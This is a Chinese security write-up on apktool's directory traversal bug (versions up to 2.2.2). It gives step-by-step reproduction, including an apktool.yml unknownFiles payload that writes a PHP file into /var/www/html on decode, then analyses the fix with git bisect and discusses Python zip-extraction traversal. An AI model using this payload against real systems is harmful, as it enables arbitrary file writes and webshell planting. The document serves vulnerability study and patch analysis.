漏洞概述

apktool在2.2.2版本以下存在目录穿越漏洞,可以打包一个文件到恶意的apk中,在apktool 解包时造成任意文件写入。如果在web环境中,可以用来写shell。

影响版本: ​ apktool_2.0.1.jar ​ apktool_2.0.3.jar ​ apktool_2.1.0.jar ​ apktool_2.1.1.jar ​ apktool_2.2.0.jar ​ apktool_2.2.1.jar ​ apktool_2.2.2.jar

漏洞复现

构造恶意apk

解包apk

java -jar apktool_2.2.2.jar d app-debug.apk  -o app-debug-DirTraversal

修改config.yml unknownFiles字段:

 unknownFiles:
   ../../../../../../../../../../../../var/www/html/1.php: '8'

同时在本机构造1.php文件:

重打包apk

java -jar apktool_2.2.2.jar b app-debug-DirTraversal  -o app-debug-DirTraversal-evil.apk

Exception java.io.FileNotFound:

需要在目录下新建unknown目录再打包: ​

打包成功,查看app-debug-DirTraversal-evil.apk:

测试打包的apk

java -jar apktool_2.2.2.jar d app-debug-DirTraversal-evil.apk  -o app-debug-DirTraversal-evil-decode  -f

由于unknownFiles只有1.php,本地没有unknown文件夹,因此还会触发异常:

解决的办法是在apktool.yml再申明一个文件,这样再解压时会创建unknown文件夹,decode 1.php时也可以访问到unknown这个文件夹了。最终的apktool.yml的unknownFiles中的payload如下:

 unknownFiles:
   keepUnknownfilefolder: '8'
   ../../../../../../../../../../../../var/www/html/1.php: '8'

攻击

本地测试(先删除1.php再使用apktool解包发现1.php被解压至/var/www/html 目录):

java -jar apktool_2.2.2.jar d app-debug-DirTraversal-evil.apk  -o app-debug-DirTraversal-evil-decode  -f

漏洞分析

定位到patch代码

apktool的源码中,由于不知道什么时候修补的,因此搜索一下traversal,果然发现了这个类TraversalUnknownFileException.java。继续查看该类的History,发现在commit 02c8b62中做了patch。此次patch,在brut.apktool/apktool-lib/src/main/java/brut/androlib/Androlib.java中,对unknownDir做了sanitize(清洗)。

此次patch,在brut.apktool/apktool-lib/src/main/java/brut/androlib/Androlib.java中,对unknownFiles做了sanitize(清洗)。在Android Studio中可以在Project右键选择Git -> Commit Directory ,搜索commit的hash并切换过去。这里我们切换到02c8b62 。搜索sanitizeUnknownFile即可在Androidlib.java中找到patch的位置。

源码调试

如果想要源码调试,直接在Android Studio中git reset了后,由于git clone后编译的apktool.jar依然是之前的版本,因此需要重新编译,否则会出现”Source code does not match the byte code“ 错误 重新编译apktool:

./gradlew 
./gradlew build shadowJar
./gradlew build shadowJar proguard

在Android Studio中设置debug configuration:

d /home/thinkycx/Desktop/apktool-DirTraversal-analysis/app-debug-DirTraversal-evil.apk  -o /home/thinkycx/Desktop/apktool-DirTraversal-analysis/app-debug-DirTraversal-evil-decode  -f

git commit:

02c8b62  Prevent malicious directory/file work with unknown files 
2e7f2a9  # 尚未修补的代码
...
2a3512   # 存在目录穿越和XXE的版本

02c8b62

可以在Project右键选择Git -> Commit Directory ,搜索commit的hash并切换过去。

搜索sanitizeUnknownFile即可在Androidlib.java中找到patch的位置,在sanitizeUnknownFile处下断点。由于是在copy unknownFiles触发的漏洞,因此也在此处下断点:

问题在于,在调试时,并没有触发sanitizeUnknownFile的断点。也就是patch代码没有被调用?很神奇。

2e7f2a9

回退到未patch的代码调试。commit id为 2e7f2a9b76e8。发现漏洞并未被触发。

2a3512

会退到再早期的版本,此版本存在XXE和目录穿越漏洞。复现漏洞成功。apk的所有文件(包括目录穿越的1.php共211个文件)都被存到files变量中,接下来被拷贝。在上面的两个版本中,这里的files变量都是210个文件。

git bisect

为了找到真正对目录穿越修补的代码,在apktool的repo 目录下:

git bisect start
git pull # 回到master
git bisect bad
git reset --hard 2a3512
git bisect good

编写test bash脚本,寻找真正对目录穿越漏洞修改的地方。编译apktool并运行,如果1.php存在,则证明该次commit存在漏洞,git bisect good。若不存在漏洞,则git bisect bad。

#!/bin/sh
file="/var/www/html/1.php"
./gradlew
./gradlew build shadowJar
./gradlew build shadowJar proguard
echo "[*] gradlew finish!"

java -jar /home/thinkycx/gitProject/Apktool/brut.apktool/apktool-cli/build/libs/apktool-2.*.jar d /home/thinkycx/Desktop/apktool-DirTraversal-analysis/app-debug-DirTraversal-evil.apk  -o /home/thinkycx/Desktop/apktool-DirTraversal-analysis/app-debug-DirTraversal-evil-decode  -f

if [ -f "$file" ]; then
  echo "1.php exists"
  rm $file
  git bisect good
else
  echo "1.php not exists"
  git bisect bad
fi

git bitsect log日志:

git bisect start
# good: [2a351254412ed518c280f56b485115ff289509fb] Merge branch 'master' into fix-optical-inset
git bisect good 2a351254412ed518c280f56b485115ff289509fb
# bad: [a504da984601cb10f923b347969ff7c16079bea5] start new dev cycle (2.3.2-SNAPSHOT)
git bisect bad a504da984601cb10f923b347969ff7c16079bea5
# bad: [6473611d47551e11c6ce20a294acc31c447727a6] Initial work for Sparsed Resource Types
git bisect bad 6473611d47551e11c6ce20a294acc31c447727a6
# bad: [20a7837ec55454bb934ffdb5733912885151dd34] Merge pull request #1551 from iBotPeaches/directory-trav
git bisect bad 20a7837ec55454bb934ffdb5733912885151dd34
# bad: [ef022466be860a9e903a502c30e3f45dcf92c47c] Upgrade to SnakeYAML 1.18 (Android)
git bisect bad ef022466be860a9e903a502c30e3f45dcf92c47c
# good: [c93e1b6f3f1d8478a53d8624e41f5d2a955a337e] Merge pull request #1529 from iBotPeaches/robust9patchtest
git bisect good c93e1b6f3f1d8478a53d8624e41f5d2a955a337e
# bad: [28848319af7f79813a2e2920da9b1fd08ca0f00c] Skip resources for test
git bisect bad 28848319af7f79813a2e2920da9b1fd08ca0f00c
# bad: [693f592b137b8289fc80a7c14baf4c409564c0c8] Ignore file entries containing '..' in the APK file to fix #1498
git bisect bad 693f592b137b8289fc80a7c14baf4c409564c0c8

git log信息:

acb0044 start new dev cycle (2.2.4-SNAPSHOT)
13ec3b6 version bump (2.2.3)
95f86fc Merge branch 'playtestcloud-issue-1498'
[bad]2884831 Skip resources for test
====
[bad]4ce8a00 Merge branch 'master' into issue-1498
[good]c93e1b6 Merge pull request #1529 from iBotPeaches/robust9patchtest
====
dab59a2 Adding a few random AOSP 9 patch images to more test suite more robust.
4a3e246 code style cleanup
b6751f8 add test for #1511
bd62f7e Merge branch 'fix-optical-inset' of https://github.com/phhusson/Apktool into phhusson-fix-optical-inset
8efa996 adding Sourcetoad sponsorship information
a918b49 Update internal aapt's to android-7.1.2_r11
e794508 cleanup tests
f19317d Prevent doctypes declarations
[good]2a35125 Merge branch 'master' into fix-optical-inset
...
[bad]693f592b137b8289fc80a7c14baf4c409564c0c8

发现2884831为bad,c93e1b6为good。但是在之后,git bisect却认为693f59是bad,693f59比2a35125都要早呀。具体看一下:

commit 693f592b137b8289fc80a7c14baf4c409564c0c8
Author: Marvin Killing <marvinkilling@gmail.com>
Date:   Tue May 9 21:54:53 2017 +0200

    Ignore file entries containing '..' in the APK file to fix #1498
    
    Zip/APK files can legally contain entries that point to the parent directory of the one in which the .zip is located.
    Usually, unzip implementations ignore them by default, and we‘ll do the same.

此处为真正对Directory Traversal修补的地方,代码判断directory的subname==”..“ 就不把他添加到mDirs中。

问题解决

在2a3512这个commit 的时间比693f592 commit的时间要晚,但是在2a3512中引入的ZipRODirectory文件是66c1b46提交的。而693f592中的ZipRODirectory文件是693F592引入的。怀疑是merge的时候保留了旧的文件,才导致了这种问题。

Directory Traversal思考

apktool出现了漏洞,那么使用了apktool的框架都会有问题。这里寻找了MobSF框架来看一下源码。

MobSF 是一个移动app测试框架,包括静态分析、动态分析和web api测试。该框架使用的apktool是StaticAnalyzer/tools/apktool_2.3.0.jar,因此上面说的漏洞不存在了。使用docker安装:

docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

其实MobSF这套框架是用python写的,python本身也会出现directory traversal漏洞:

  • Upload a malicious zip file can overwrite arbitary files >=v0.9.3.2 && <=0.9.4.1 https://github.com/MobSF/Mobile-Security-Framework-MobSF/issues/358
  • Exploiting insecure file extraction in Python for code execution https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution
  • (译文)文件解压之过 Python中的代码执行 https://www.anquanke.com/post/id/86961

在python中,如果filepath = os.path.join(path, filename)中的path中出现../,就会出现directory traversal漏洞。在对文件进行写操作时,这样获得的filepath会出现目录遍历问题。如果需求是解压文件,python的ZipFile.extract函数可以过滤path中的危险字符,如../ 。

总结

Directory Traversal漏洞的本质是在path中出现了..这样的目录,导致在对文件写操作时可以穿越目录。在web环境中,目录穿越可以用来写shell。在python中,目录穿越可以用来覆盖__init__.py。

Refs

  1. apktool各个版本的下载地址 https://bitbucket.org/iBotPeaches/apktool/downloads/
  2. checkpoint 关于apktool xxe和directory traversal问题报告原文 https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/
  3. 译文 360bobao https://www.anquanke.com/post/id/89557
  4. TSRC 漏洞复现文章 https://security.tencent.com/index.php/blog/msg/122
  5. apktool v2.2.4 release info,在v2.2.3中修复了目录穿越和xxe漏洞 https://connortumbleson.com/2017/07/29/apktool-v2-2-4-released/
  6. apktool两个漏洞国外分析文章(貌似是作者) https://connortumbleson.com/2017/07/29/detecting-reverse-engineering-on-android-applications/
  7. Path Traversal owasp文档 https://www.owasp.org/index.php/Path_Traversal